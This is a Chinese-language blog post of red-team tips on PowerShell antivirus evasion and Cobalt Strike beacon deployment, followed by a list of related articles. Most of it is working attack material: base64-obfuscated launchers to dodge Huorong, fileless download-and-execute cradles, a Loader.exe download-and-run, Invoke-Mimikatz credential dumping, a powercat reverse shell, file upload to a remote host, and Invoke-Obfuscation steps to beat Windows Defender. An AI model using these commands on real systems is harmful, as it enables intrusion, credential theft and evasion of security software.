powershell红队免杀上线小Tips

简介: powershell红队免杀上线小Tips

powershell是一个很好的宝藏库,在内网中可能会给出意外惊喜。

挑一点重点说说,本文的杀软以火绒为主。


其实我们都用过powershell,

比如ls,dir



不过它只是Get-ChildItem别称。


常用命令和参数介绍:

命名规范:动词+名词=cmdlets



-Get-ExecutionPolicy:查看当前执行策



第一次我们运行ps1脚本的时候会遇到这种情况,因为powershell默认安全策略为Restricted,此时脚本不能执行

修改的使用

PS C:\Users\Admin> Set-ExecutionPolicy -Scope CurrentUser
位于命令管道位置 1 的 cmdlet Set-ExecutionPolicy
请为以下参数提供值:
ExecutionPolicy: Unrestricted
执行策略更改
执行策略可帮助你防止执行不信任的脚本。更改执行策略可能会产生安全风险,如 https:/go.microsoft.com/fwlink/?LinkID=135170
中的 about_Execution_Policies 帮助主题所述。是否要更改执行策略?
[Y] 是(Y)  [A] 全是(A)  [N] 否(N)  [L] 全否(L)  [S] 暂停(S)  [?] 帮助 (默认值为“N”): Y

Unrestricted:允许所有脚本运行(需要管理员权限)



因为C:\Users\Admin不在powershell默认环境中,所以我们需要输入绝对路径


c0fcc794b2c35ad690c5a898a52ff96a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png



$env:Path=$env:Path+"C:\Users\Admin"


添加到powershell的默认路径后,便可以直接执行了。


&在字符串前加上&,可以把字符串当成命令执行在字符串前加上&,可以把字符串当成命令执行。


eec28fa2beec3f78fcf48122fda790d9_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


相同的命令还有IEX(Invoke-Expression),也是将字符串当作powershell执行


96507c56ad34d0ad5c7fe03d01f26302_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


-EXecutionPolicy Bypass:绕过powershell默认安全规定不能运行命令和文件


-WindowStyle Hidden(-W Hidden):隐藏窗口


-Nonlnteractive(-Nonl):非交互模式


-noexit:执行但不退出shell


Get-FileHash:获取文件hash


3009be81e5eb9a39b82fbd9fd36de56a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


-Import-Module:将模块添加到当前会话。

//如上传操作
Import-Module BitsTransfer
Start-BitsTransfer -Source c:\test.txt -Destination http://x.x.x.x/test.txt -transfertype upload

-EncodedCommand(-enc):接受base64编码的字符串


-set-alias:设置别名


powershell定义函数方式:


function FuncName(args[])
{
code;
}


编辑器:


win10自带的ISE就挺不错,自动补全功能也很好。





powershell-cs上线:


3650a4341894f2a249116d5ff95d6dda_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


也是调用了virtualalloc那些windows api创建而成。


常用的API还是要记住的


在一些木马分析的时候有时候也会感到有些相似的地方,比如,call ds:DeleteFileA..........call ds:CreateFileA............call ds:WriteFile.............call ds:CreateThread

删原来文件,创建一个新word,写,加载到新线程中。因为套路相似,调用的API也相似。


推荐查询网址:

https://docs.microsoft.com/zh-cn/windows/win32/apiindex/windows-api-list?redirectedfrom=MSDN



首次扫描,火绒被火绒杀了。



在我们对这段代码加入上面我们的混淆以后,火绒便不会杀了,cs也可以正常上线。


db8b4415c751a5ad94498d0c7bca37be_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


#然后火绒会对这个powershell执行脚本的行为进行行为拦截
#echo ......  | powershell 也会被拦截
powershell #从cmd进入powershell界面
function ConvertFrom-Base64($string) {$bytes  = [Sys;tem.Convert]::FromBase64String($string);$decoded = [System.Text.Encoding]::UTF8.GetString($bytes); return $decoded;}
$a="cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC1mIE"
$b="M6XFVzZXJzXEFkbWluXERlc2t0b3BccGF5bG9hZC5wczE="
IEX(ConvertFrom-Base64($a+$b))

7582045cbb89a38baf547584914b6c81_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


不会这样拦截类似 powershell -ep bypass -f ........ps1了。


这个是笨方法


因为测试其他powershell脚本的时候,没有被拦截,觉得还是关键字拦截。然后就这样混淆一下。



powershell-cs无文件上线:


powershell set-alias -name test -value Invoke-Expression;test(New-Object Net.WebClient).DownloadString('http://x.x.x.x/payload.ps1')



把修改后的ps脚本放在服务器上,在有火绒的虚拟机上好像是直接上线了。


windows defender二话不说拦截,因为连windows defender静态免杀都没过。


acdd16b8fa0fe42983c44a27230dce11_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


至于怎么过windows defender,上篇文章也写过。


不过这时候,文件是落地的。



powershell -Command $clnt = new-object System.Net.WebClient;$url= 'http://X.X.X.X/Loader.exe';$file = ' D:\SYSTEM1.exe ';$clnt.DownloadFile($url,$file);&&D:\SYSTEM1.exe


9467f3ffd821f43d7cd1bb2d2d6495c1_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


项目推荐:


git clone https://github.com/mattifestation/PowerSploit.git
git clone https://github.com/samratashok/nishang
git clone https://github.com/besimorhino/powercat


无文件落地端口扫描:



脚本放到vps,开启通道


在我们第一次尝试的时候,可能会出现这种问题:


33fc16c18291d28a240f905af0a57b97_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


解决办法:

第一种可能:模块名字,你不经意的打错了

第二种可能:需要修改作用域的权限。




执行后为:



powershell -nop -ep bypass -c "IEX (New-Object System.Net.WebClient).DownloadString('http://x.x.x.x/Invoke-Portscan.ps1')";Invoke-Portscan -Hosts 192.168.37.0/24 -T 4 -ports "3389" -oA c:\windows\temp\est1.txt


235d4ee1bd935e571ebfc0b85c5fd723_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


还有一点是执行的时候,杀软会拦截。



不过我们换一种思路



powershell set-alias -name test -value Invoke-Expression;test(New-Object System.Net.WebClient).DownloadString('http://x.x.x.x/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.37.0/24 -T 4 -ports "3389" -oA c:\windows\temp\est3.txt



给IEX设置一个别名,再执行,火绒便不会再拦截。



无文件落地抓取密码:



powershell IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Invoke-Mimikatz.ps1'); Invoke-Mimikatz



反弹shell:


#被控端:
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://x.x.x.x/powercat.ps1');powercat -c x.x.x.x -p 6666 -e cmd
nc -lvp 8888


power shell免杀项目推荐:


两个师傅的博客网址:

https://www.chabug.org/?s=powershell


https://www.cnblogs.com/forforever/p/13882312.html


感觉这两位师傅写的总结的都挺不错的,其他师傅写的也都很不错。

https://github.com/danielbohannon/Invoke-Obfuscation



Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation


f571ee981b26dccc59003a69492ec5ec_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


进入我们的主界面

encoding模块进行混淆
launcher模块生成加载器
string模块混淆字符串
set scriptpath C:\Users\Admin\Desktop\payload222.ps1 #设置我们需要免杀的脚本路径
encoding
3
out 1.ps1




这里是过了Windows defender的静态免杀,这个工具其他模块功能都挺足的,师傅们可以研究一下

其他项目:


https://github.com/the-xentropy/xencrypt/blob/master/xencrypt.ps1


https://github.com/CBHue/PyFuscation


https://github.com/peewpw/Invoke-PSImage


相关文章
|
安全 API 数据安全/隐私保护
Cobaltstrike4.0——记一次上头的powershell上线分析(三)
Cobaltstrike4.0——记一次上头的powershell上线分析
301 0
|
网络协议 网络安全
Powershell免杀(无文件落地免杀)
无文件落地 顾名思义,无需将恶意文件传到目标服务器/机器上,直接利用powershell的特性加载到内存执行。为了在红队行动中更隐蔽的实施攻击以及横向移动,同时还可以解决目标不出网只能通过dns上线时的棘手问题,利用powershell可以避免一行行echo。 通过两种方式进行无文件落地的免杀,一种是出网的情况,另一种为不出网情况。 声明: 文章内容仅供网络安全爱好者学习使用,请勿用文章中提到的技术或工具做违法的事情,否则后果自负。
1169 0
CS-Powershell免杀-过卡巴等杀软上线
CS-Powershell免杀-过卡巴等杀软上线
525 0
|
Python
PowerShell随机免杀结合ps2exe上线
PowerShell随机免杀结合ps2exe上线
339 0
|
数据安全/隐私保护
Powershell免杀系列(二)
Powershell免杀系列(二)
330 0
|
安全 数据安全/隐私保护 Windows
Powershell 免杀过 defender 火绒,附自动化工具
Powershell 免杀过 defender 火绒,附自动化工具
1236 0
|
存储 安全 API
Cobaltstrike4.0——记一次上头的powershell上线分析(二)
Cobaltstrike4.0——记一次上头的powershell上线分析
387 0
|
Java API C#
Cobaltstrike4.0——记一次上头的powershell上线分析(一)
Cobaltstrike4.0——记一次上头的powershell上线分析
587 0
|
2月前
|
监控 关系型数据库 MySQL
PowerShell 脚本编写 :自动化Windows 开发工作流程
PowerShell 脚本编写 :自动化Windows 开发工作流程
88 0
|
3月前
|
Windows
Powershell 重新排列去重 Windows环境变量
【9月更文挑战第13天】本文介绍如何使用PowerShell对Windows环境变量进行重新排列和去重。首先通过`$env:`访问环境变量,接着使用`-split`命令分割路径,再利用`Select-Object -Unique`去除重复项。之后可根据需要对路径进行排序,最后将处理后的路径组合并更新环境变量。注意修改环境变量前应备份重要数据并了解潜在影响。
144 10

相关课程

更多